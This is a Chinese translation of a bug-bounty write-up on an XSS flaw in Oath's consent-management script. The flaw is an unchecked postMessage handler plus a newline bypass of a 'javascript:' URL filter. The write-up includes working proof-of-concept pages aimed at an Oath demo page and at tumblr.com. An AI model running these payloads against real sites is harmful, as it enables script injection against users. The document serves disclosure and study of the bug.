0x00 概述
在研究其他漏洞赏金计划时,在 cmp3p.js 文件中发现了跨站点脚本漏洞,该漏洞允许攻击者在包含上述脚本的域上下文中执行任意 javascript 代码。
为了描述这项研究的影响,值得一提的是,所描述的研究也适用于包含 cmp3p.js 文件的任何其他主机。
0x01 浏览器的跨源通信
为了更好地理解此漏洞,浏览器实现的在源之间进行通信的一些机制。其中之一是postMessage。如果站点 A 在其源中有一个指向站点 B 的 <iframe>,我们可以从站点 A 访问站点 B 的 DOM 树。由于同源策略,要获得完全访问权限,站点 A 和 B 必须位于同源。否则,为了通信,其中一个站点需要添加onmessage甚至监听器,而第二个站点可以发送带有数据的事件,这些事件将由监听器中定义的函数进行处理。例如:
站点A
<script>
window.addEventListener("message", function(e) {
alert(e.data.toString());
});
</script>
站点B
<script>
window.parent.postMessage("Hello world.", "*");
</script>
上述机制不仅适用于框架和弹出窗口,也适用于两个选项卡。例如,如果站点 A 有指向站点 B 的超链接,将被点击——包含超链接的页面可以通过 window.opener 从新打开的选项卡访问。
0x02 分析
在我的研究过程中,我决定查看主要的 tumblr.com 页面,计划是发现它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在混淆的形式中,它看起来如下:
!function() {
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
})
}
}
基于以上部分代码,值得注意的是:
1.它采用事件数据参数(作为 JSON 字符串),
2.使用 JSON.parse() 函数解析它,
3.创建包含属性cmpCall(即对象)的javascript对象n。
提到的 cmpCall 对象包含称为命令和参数的字段,它们都基于 window.__cmp() 函数:
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
虽然这段代码被混淆了,但它的分析可能有问题,所以我将重点放在最重要的两行:
{code}
if (c.a.isSafeUrl(p.uiUrl)) {
{code}
检查 isSafeUrl 定义后,我们可以注意到它检查参数对象中提供的 URL(这可能由攻击者控制)是否安全:
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
},
如果作为函数参数提供的 URL 在开头包含javascript: string,则应将其视为不安全并返回 -1(并停止进一步执行)。
第二个有趣的行是:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
让我们看一下 b() 函数定义:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
和以前一样,被混淆了,难以阅读,但这里真正有趣的部分是 renderConsents() 函数,它将把我们带到这个漏洞的地步。定义:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),
如您所见,从安全角度来看, renderConsents()最终是一个有趣的元素,因为它创建的 iframe 元素具有由攻击者控制的 src 属性,攻击者可以控制该元素。我们可以通过提供代码作为 URI(在 src 属性中)使用<iframe>元素轻松执行 Javascript 代码,通过使用特殊的 URI 模式/协议,javascript。通过使用<iframe src=”javascript:alert(1)”></iframe>浏览器只会执行alert(1) Javascript 代码。这就是之前执行isSafeUrl()函数的原因。那么我们如何仍然可以在开始时传递包含 javascript 模式的 URL 呢?
很高兴知道我们仍然可以在 URL 的模式部分使用空白字符,浏览器将忽略这些字符。这为我们带来了非常简单的isSafeUrl()绕过,包括提供带有换行符的 URL 参数:
> url = "javascript:alert(document.domain);"
"javascript:alert(document.domain);"
> isSafeUrl(url)
false
> url="ja\nvascript:alert(document.domain);"
"ja
vascript:alert(document.domain);"
> isSafeUrl(url)
true
在这一步之后,通过使用这个 JSON 构造 postMessage,就可以执行 javascript 代码:
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "fdsfds",
"organizationId": "siabada",
"gdprAppliesGlobally": "fdfdsfds"
}
}
}
要将此消息传递到易受攻击的页面,我们还需要有一个指向其窗口对象的链接,这可以通过将易受攻击的页面放入 iframe 来轻松实现。当我们总结所有描述的步骤时,最终的概念验证如下所示:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
只要页面不包含 X-Frame-Options 标头,就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,此漏洞将不允许攻击者构建目标页面。整个攻击将需要在两个浏览器选项卡之间创建连接以通过 window.opener 传递 postMessages,这也非常简单:
1.创建一个包含指向自身的超链接的页面。
2.在循环中执行带有负载的 window.opener.postMessage() 函数。
3.单击链接后 - 新选项卡打开(选项卡之间有 window.opener 连接)
4.单击链接后直接将第一页重定向到目标(onclick事件)
这就是 tumblr.com 页面的情况,该页面还包含易受攻击的 cmp.js 代码,但由于 X-Frame-Options 标头,页面本身不可构建。所以 Tumblr 漏洞利用代码如下所示:
<html><body>
<script>
function e() {
window.setTimeout(function() {
window.location.href="https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try { window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
PS:
翻译的不是很顺畅,有些知识点,感觉很模糊,不过作者的思路,还有调试js的方法还是值得学习的,故翻译此文,记录一下。不喜勿喷!!!
推荐阅读:
CNVD-2023-34111|Apache Solr 8.3.1 RCE